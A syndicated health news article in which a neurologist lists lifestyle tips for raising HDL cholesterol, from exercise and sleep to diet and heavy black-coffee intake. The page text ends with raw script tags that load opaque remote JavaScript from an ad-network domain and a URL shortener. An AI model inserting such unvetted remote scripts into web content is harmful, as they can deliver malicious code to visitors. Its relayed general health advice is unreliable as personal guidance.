Lifestyle measures are crucial to increasing the high-density lipoprotein (HDL) <a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/high-levels-of-good-cholesterol-too-may-raise-risk-of-dementia-23322707" target="_blank" rel="none noopener">cholesterol</a>, also known as the "good" cholesterol, said a top neurologist on Tuesday.&nbsp;
Taking to social media platform X, Sudhir Kumar, from Indraprastha Apollo Hospitals, Hyderabad explained that low HDL cholesterol levels can increase the "risk of heart attack and stroke".
On the other hand, higher levels of good cholesterol can also protect against the "risk of <a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/docs-warn-gym-goers-as-sudden-heart-attacks-return-killing-at-least-4-in-24-hrs-23347210" target="_blank" rel="none noopener">heart attacks</a>, stroke, and premature death".
To increase the HDL-C levels, "lifestyle measures are key", said the doctor sharing some tips.
Sudhir said that a good sleep of seven hours is essential for high HDL-C levels.
"HDL-C levels sharply reduced in people sleeping for four hours or less," he said.
Also Read:&nbsp;<a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/mumbai-monsoon-surge-in-autoimmune-diseases-in-women-doctors-advise-caution-and-early-detection-23359406" target="_blank" rel="none noopener">Mumbai monsoon: Surge in autoimmune diseases in women, doctors advise caution and suggest dietary tips</a>
He stated the need for aerobic exercises, such as running, brisk walking, cycling, or swimming, for which one should "aim for 4-5 sessions per week"; and three sessions per week of resistance (strength) training.
"Combination of aerobic exercises and strength training has more beneficial effects on HDL-C levels than either of them alone," the doctor said.
Further, Sudhir stressed the need to quit smoking as "HDL-C levels decrease with <a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/obesity-smoking-key-triggers-for-alzheimers-disease-say-experts-23356720" target="_blank" rel="none noopener">smoking</a>, and increase after the cessation of smoking (among smokers)".
The neurologist also called for maintaining adequate hydration as "chronic under-hydration and habitual low water intake are associated with higher cardiometabolic risks, including low HDL-C levels".
Regarding dietary approaches, the doctor recommended the consumption of olive oil, avocado, nuts (a handful), and seeds like chia seeds; a low carbohydrate diet; choosing purple produce (rich in anthocyanins).
"Several fruits and vegetables are very high in anthocyanins, such as eggplant, red cabbage, blueberries, blackberries, and black raspberries. Eat fatty fish often (salmon, tuna, mackerel, sardines) to boost HDL levels," Sudhir said.
He also advised black coffee (5 cups or more/day) without additives, as "it is associated with higher HDL-C levels". He noted that green tea consumption is not associated with HDL-C levels.
Further, the doctor advised to "lose weight (if obese or overweight)" and to manage stress via "meditation, relaxation, taking periodic vacations, engaging in hobbies, etc".
This story has been sourced from a third party syndicated feed, agencies. Mid-day accepts no responsibility or liability for its dependability, trustworthiness, reliability and data of the text. Mid-day management/mid-day.com reserves the sole right to alter, delete or remove (without notice) the content in its absolute discretion for any reason whatsoever
 <script async="async" data-cfasync="false" src="//pl23789885.revenuecpmgate.com/7445444aea29efc3d061cbd866026c06/invoke.js"></script>
 <div id="container-7445444aea29efc3d061cbd866026c06"></div>
 <script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

Lifestyle measures are crucial for increasing the good cholesterol, a doctor said on Tuesday

Lifestyle measures important to boost good cholesterol levels, says expert

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast

Home / Lifestyle / Health & Fitness / Article / Lifestyle measures important to boost good cholesterol levels, says expert

Lifestyle measures important to boost good cholesterol levels, says expert

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast